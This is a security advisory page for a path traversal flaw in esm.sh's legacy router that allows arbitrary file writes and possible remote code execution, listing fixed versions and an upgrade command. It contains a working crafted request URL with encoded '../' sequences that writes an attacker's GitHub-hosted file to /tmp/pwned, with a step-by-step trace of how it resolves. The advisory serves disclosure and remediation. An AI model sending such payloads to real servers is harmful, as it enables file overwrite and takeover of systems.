Loading advisory.
Loading advisory.
esm.sh: Legacy Route Path Traversal Can Lead to RCE
Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for. Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
Published 2026-05-12 22:22 UTC · Modified 2026-06-25 18:56 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| github.com/esm-dev/esm.sh | Go | < 0.0.0-20260508100112-1960055e1d53 | 0.0.0-20260508100112-1960055e1d53 | go get github.com/esm-dev/esm.sh@v0.0.0-20260508100112-1960055e1d53 |
Arbitrary File Write – An attacker can cause the server to write data to any file path it has write permission for.
Privilege Escalation / RCE – By overwriting critical binaries or scripts, the attacker can execute arbitrary code with the server’s privileges.
The legacy router first retrieves a response from legacyServer, parses the incoming request path, and ultimately writes the data to storage via buildStorage.Put
(see https://github.com/esm-dev/esm.sh/blob/4312ae93e518121e764a18bb521af12e490ef137/server/legacy_router.go#L291).
For a URL such as:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwnedthe router concatenates the path components without sanitizing them, producing a storage key like:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedWhen this key is used, the underlying file system resolves the relative segments and writes the file to /tmp/pwned. Thus an attacker can craft a request that writes data to arbitrary locations on the server.
URL Construction
A crafted request is sent to the server:
http://ESM_SH_HOST/v111/react@19.2.0/esnext/..%2f..%2f..%2fgh/<attacker>/exp@1171e85d5d/foo.md%23%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fpwnedProxy to Legacy Server
The request is forwarded to:
http://legacy.esm.sh/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../tmp/pwnedwhich resolves to:
http://legacy.esm.sh/gh/<attacker>/exp@1171e85d5d/foo.mdFile Retrieval
The server fetches foo.md from the GitHub repository https://github.com/<attacker>/exp.
Path Normalisation & Storage
The storage path derived from the request is:
legacy/v111/react@19.2.0/esnext/../../../gh/<attacker>/exp@1171e85d5d/foo.md#/../../../../../../../../../../tmp/pwnedNormalising this path yields /tmp/pwned. The retrieved file content is then written to that location.
Result
By repeating this pattern, an attacker can overwrite arbitrary binaries or scripts on the server, paving the way for remote code execution.
splitline (@_splitline_) from DEVCORE Research Team
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.004 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.004 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.004 | v2026.06.15 |